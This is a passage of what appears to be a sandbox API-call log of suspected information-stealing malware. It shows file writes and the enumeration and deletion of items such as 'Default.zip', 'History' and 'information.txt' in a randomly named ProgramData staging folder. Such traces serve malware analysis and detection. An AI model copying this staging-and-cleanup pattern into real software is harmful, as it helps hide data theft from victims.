lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.331] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.331] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.331] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.331] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.331] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.331] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.333] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.333] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.333] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x12, lpOverlapped=0x0) returned 1 [0149.333] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0149.333] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0149.333] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9) returned 0x236aba0 [0149.334] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x360) returned 0x2367d60 [0149.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340510 | out: hHeap=0x2360000) returned 1 [0149.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362990 | out: hHeap=0x2360000) returned 1 [0149.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400e0 | out: hHeap=0x2360000) returned 1 [0149.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.334] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files\\Default.zip" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files\\default.zip")) returned 1 [0149.335] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362b48 | out: hHeap=0x2360000) returned 1 [0149.335] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e31c54c, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e31c54c, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e8ec402, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.zip", cAlternateFileName="")) returned 0 [0149.335] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x35) returned 0x32bb0e0 [0149.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", cchWideChar=53, lpMultiByteStr=0x32bb0e0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", lpUsedDefaultChar=0x0) returned 53 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba810 [0149.336] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb0e0 | out: hHeap=0x2360000) returned 1 [0149.336] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366928 [0149.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366928, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.336] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366928 | out: hHeap=0x2360000) returned 1 [0149.336] PathMatchSpecW (pszFile="Files", pszSpec="*.*") returned 1 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x35) returned 0x32bb0e0 [0149.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", cchWideChar=53, lpMultiByteStr=0x32bb0e0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files", lpUsedDefaultChar=0x0) returned 53 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0149.336] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb0e0 | out: hHeap=0x2360000) returned 1 [0149.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.336] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x7) returned 0x2366988 [0149.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Files", cchWideChar=7, lpMultiByteStr=0x2366988, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Files", lpUsedDefaultChar=0x0) returned 7 [0149.337] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366988 | out: hHeap=0x2360000) returned 1 [0149.337] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.337] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0149.337] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.337] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Files" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\files")) returned 0 [0149.337] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba810 | out: hHeap=0x2360000) returned 1 [0149.337] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0149.337] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.337] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.337] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="History" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" [0149.337] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.337] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.337] lstrcatW (in: lpString1="\\", lpString2="History" | out: lpString1="\\History") returned="\\History" [0149.337] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0149.337] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0149.337] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" [0149.338] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\*.*" [0149.338] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.338] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" [0149.338] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\" [0149.338] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\." [0149.338] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0149.338] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0149.338] lstrcatW (in: lpString1="\\History\\", lpString2="." | out: lpString1="\\History\\.") returned="\\History\\." [0149.338] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.338] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.338] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" [0149.338] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\" [0149.338] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History\\.." [0149.338] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0149.338] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0149.338] lstrcatW (in: lpString1="\\History\\", lpString2=".." | out: lpString1="\\History\\..") returned="\\History\\.." [0149.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.339] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.339] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.339] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0149.339] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32bad20 [0149.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", cchWideChar=55, lpMultiByteStr=0x32bad20, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", lpUsedDefaultChar=0x0) returned 55 [0149.339] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0149.339] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bad20 | out: hHeap=0x2360000) returned 1 [0149.339] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.339] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23668c8 [0149.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x23668c8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.339] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668c8 | out: hHeap=0x2360000) returned 1 [0149.339] PathMatchSpecW (pszFile="History", pszSpec="*.*") returned 1 [0149.339] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.339] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340628 [0149.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0149.340] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32bafe0 [0149.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", cchWideChar=55, lpMultiByteStr=0x32bafe0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History", lpUsedDefaultChar=0x0) returned 55 [0149.340] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba390 [0149.340] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bafe0 | out: hHeap=0x2360000) returned 1 [0149.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\History", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.340] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9) returned 0x236abd0 [0149.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\History", cchWideChar=9, lpMultiByteStr=0x236abd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\History", lpUsedDefaultChar=0x0) returned 9 [0149.340] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0149.340] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.340] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba390 | out: hHeap=0x2360000) returned 1 [0149.340] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340628 | out: hHeap=0x2360000) returned 1 [0149.340] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.340] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\history")) returned 0 [0149.340] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0149.340] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d35eed7, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4d35eed7, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e2739e5, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="information.txt", cAlternateFileName="INFORM~1.TXT")) returned 1 [0149.340] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.340] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.340] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="information.txt" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt" [0149.341] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.341] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.341] lstrcatW (in: lpString1="\\", lpString2="information.txt" | out: lpString1="\\information.txt") returned="\\information.txt" [0149.341] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\information.txt", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0149.341] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3f) returned 0x32ba300 [0149.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 